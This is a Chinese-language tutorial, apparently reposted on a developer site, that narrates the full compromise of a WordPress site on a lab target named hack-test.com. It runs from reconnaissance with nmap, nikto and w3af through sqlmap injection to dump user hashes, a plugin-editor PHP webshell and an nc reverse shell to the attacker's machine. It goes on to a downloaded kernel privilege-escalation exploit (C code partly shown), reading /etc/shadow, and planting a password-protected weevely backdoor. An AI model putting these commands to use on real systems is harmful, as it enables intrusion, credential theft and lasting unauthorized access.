内容简介:黑客是怎样入侵你的网站的
通过本文你将了解黑客常用的入手思路和技术手法,适合热爱网络信息安全的新手朋友了解学习。本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的.阅读本文你会学到以下内容:
1.渗透测试前的简单信息收集。
2.sqlmap的使用
3.nmap的使用
4.nc反弹提权
5.linux系统的权限提升
6.backtrack 5中渗透测试工具nikto和w3af的使用等.
假设黑客要入侵的你的网站域名为:hack-test.com
让我们用ping命令获取网站服务器的IP地址.
现在我们获取了网站服务器的IP地址为:173.236.138.113
寻找同一服务器上的其它网站,我们使用sameip.org.
26 sites hosted on IP Address 173.236.138.113
ID Domain Site Link 1 hijackthisforum.com hijackthisforum.com 2 sportforum.net sportforum.net 3 freeonlinesudoku.net freeonlinesudoku.net 4 cosplayhell.com cosplayhell.com 5 videogamenews.org videogamenews.org 6 gametour.com gametour.com 7 qualitypetsitting.net qualitypetsitting.net 8 brendanichols.com brendanichols.com 9 8ez.com 8ez.com 10 hack-test.com hack-test.com 11 kisax.com kisax.com 12 paisans.com paisans.com 13 mghz.com mghz.com 14 debateful.com debateful.com 15 jazzygoodtimes.com jazzygoodtimes.com 16 fruny.com fruny.com 17 vbum.com vbum.com 18 wuckie.com wuckie.com 19 force5inc.com force5inc.com 20 virushero.com virushero.com 21 twincitiesbusinesspeernetwork.com twincitiesbusinesspeernetwork.com 22 jennieko.com jennieko.com 23 davereedy.com davereedy.com 24 joygarrido.com joygarrido.com 25 prismapp.com prismapp.com 26 utiligolf.com utiligolf.com173.236.138.113上有26个网站,很多黑客为了攻破你的网站可能会检查同服务器上的其它网站,但是本次是以研究为目标,我们将抛开服务器上的其它网站,只针对你的网站来进行入侵检测。
We’ll need more information about your site, such as:
我们需要关于你网站的以下信息:
1.DNS记录(A,NS,TXT,MX 和SOA) 2.网站服务器的类型(Apache,IIS,Tomcat) 3.域名的注册信息(哪个公司拥有这个域名) 4.你的名字,地址,EMAIL和电话 5.你的网站上所运行的脚本类型(PHP,ASP,ASP.NET,JSP,CFM) 6.服务器的操作系统类型(Unix,Linux,Windows,Solaris) 7.服务器对外开放的端口(80,443,21,等)
让我们开始找你网站的DNS记录,我们用who.is来完成这一目标.
我们发现你的DNS记录如下
让我们来确定web服务器的类型
发现你的W eb服务器是apache,接下来确定它的版本.
**HACK-TEST.COM SITE INFORMATION **
IP: [173.236.138.113](http://www.who.is/whois-ip/173.236.138.113/) Website Status: [active](http://www.hack-test.com/) Server Type: Apache Alexa Trend/Rank:  1 Month: 3,213,968 3 Month: 2,161,753 Page Views per Visit:  1 Month: 2.0 3 Month: 3.7
接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等.
我们现在已经获取了你的网站域名的注册信息,包括你的重要信息等.我们可以通过backtrack 5中的whatweb来获取你的网站服务器操作系统类型和服务器的版本.
我们发现你的网站使用了著名的 php 整站程序wordpress,服务器的的系统类型为Fedora Linux,Web服务器版本Apache 2.2.15.继续查看网站服务器开放的端口,用渗透测试工具nmap:
1-Find services that run on server(查看服务器上运行的服务)
root@bt:~# nmap -sV hack-test.com
Starting Nmap 6.01 ( http://nmap.org ) at 2013-02-24 02:13 EST
Nmap scan report for hack-test.com (173.236.164.23)
Host is up (0.27s latency).
rDNS record for 173.236.164.23: apache2-bongo.carter-braxton.dreamhost.com
Not shown: 993 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD
22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd
587/tcp open smtp Postfix smtpd
5222/tcp open jabber Jabber instant messaging server
5269/tcp open jabber Jabber instant messaging server
Service Info: Host: carter-braxton.dreamhost.com; OS: Linux; CPE: cpe:/o:linux:kernel
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.35 seconds
2-Find server OS(查看操作系统版本)
root@bt:~# nmap -O hack-test.com
Starting Nmap 6.01 ( http://nmap.org ) at 2013-02-24 03:29 EST
Nmap scan report for hack-test.com (173.236.164.23)
Host is up (0.28s latency).
rDNS record for 173.236.164.23: apache2-bongo.carter-braxton.dreamhost.com
Not shown: 993 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
587/tcp open submission
5222/tcp open xmpp-client
5269/tcp open xmpp-server
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
没找到操作系统,奇怪了。和以前的教程不一样,上面ip也改了,同时子站也只剩一个了。
Nmap的操作系统检测的基础是有开放和关闭的端口,如果OS scan无法检测到至少一个开放或者关闭的端口,会返回以下错误:
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
加上 –osscan-guess 也没找到。linux是坑定的
现在我们已经收集了所有关于你网站的重要信息, 接下来开始扫描寻找漏洞,比如:
Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF 等等.
我们将使用Nikto来收集漏洞信息:
root@bt:/pentest/web/nikto# perl nikto.pl -h hack-test.com
我们也会用到Backtrack 5 R1中的W3AF 工具:
root@bt:/pentest/web/w3af# ./w3af_gui
我们输入要检测的网站地址,选择完整的安全审计选项.
稍等一会,你将会看到扫描结果.
发现你的网站存在 sql 注入漏洞、XSS漏洞、以及其它的漏洞.让我们来探讨SQL注入漏洞.
http://hack-test.com/Hackademic_RTB1/?cat=d %27z%220
我们通过 工具 发现这个URL存在SQL注入,我们通过Sqlmap来检测这个url.
Using sqlmap with –u url
过一会你会看到
输入N按回车键继续
我们发现你的网站存在 mysql 显错注入,mysql数据库版本是5.0. 我们通过加入参数”-dbs”来尝试采集数据库名.
发现三个数据库,接下来通过参数”-D wordpress -tables”来查看wordpress数据库的所有表名
通过参数“-T wp_users –columns ”来查看wp_users表中的字段.
接下来猜解字段user_login和user_pass的值.用参数”-C user_login,user_pass –dump”
我们会发现用户名和密码hashes值. 我们需要通过以下在线破解网站来破解密码hashes
http://www.onlinehashcrack.com/free-hash-reverse.php
登陆wordpress的后台wp-admin
尝试上传php webshell到服务器,以方便运行一些 linux 命令.在插件页面寻找任何可以编辑的插件. 我们选择Textile这款插件,编辑插入我们的php webshell,点击更新文件,然后访问我们的php webshell.

Php webshell被解析了,我们可以控制你网站的文件,但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。
我们用NC来反弹一个shell,首先在我们的电脑上监听5555端口.
然后在Php webshell上反向连接我们的电脑,输入你的IP和端口5555.

点击连接我们会看到

接下来我们尝试执行一些命令:
id
uid=48(apache) gid=489(apache) groups=489(apache)
(用来显示用户的id和组)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
(显示服务器上当前的路径)
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
(显示内核版本信息)
现在我们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.
在服务器上测试了很多exp之后,我们用以下的exp来提升权限.
http://www.exploit-db.com/exploits/15285我们在nc shell上执行以下命令:
wget http://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到服务器并重命名为roro.c)
注:很多linux内核的exp都是 C语言 开发的,因此我们保存为.c扩展名.
exp roro.c代码如下:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.n”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));
通过以上代码我们发现该exp是C语言开发的,我们需要将他编译成elf格式的,命令如下:
gcc roro.c –o roro
接下来执行编译好的exp
./roro
执行完成之后我们输入id命令
id
我们发现我们已经是root权限了
uid=0(root) gid=0(root)
现在我们可以查看/etc/shadow文件
cat /etc/shadow
查看/etc/passwd 文件
cat /etc/passwd
我们可以使用”john the ripper”工具破解所有用户的密码.但是我们不会这样做,我们需要在这个服务器上留下后门以方便我们在任何时候访问它.
我们用weevely制作一个php小马上传到服务器上.
1.weevely使用选项
root@bt:/pentest/backdoors/web/weevely# ./main.py -
2.用weevely创建一个密码为koko的php后门
root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko
接下来上传到服务器之后来使用它
root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko
测试我们的hax.php后门
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 黑客入侵与机器学习沙箱逃逸
- 黑客入侵:移动恶意软件进入杀戮
- 黑客如何利用 WiFi 入侵安卓手机
- 黑客最爱用三种邮件入侵手法
- Reddit 遭黑客入侵 部分用户资料曝光
- 微软确认有黑客入侵了部分 Outlook 邮箱
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Effective Java: Second Edition
Joshua Bloch / Addison-Wesley / 2008-05-28 / USD 54.99
Written for the working Java developer, Joshua Bloch's Effective Java Programming Language Guide provides a truly useful set of over 50 best practices and tips for writing better Java code. With plent......一起来看看 《Effective Java: Second Edition》 这本书的介绍吧!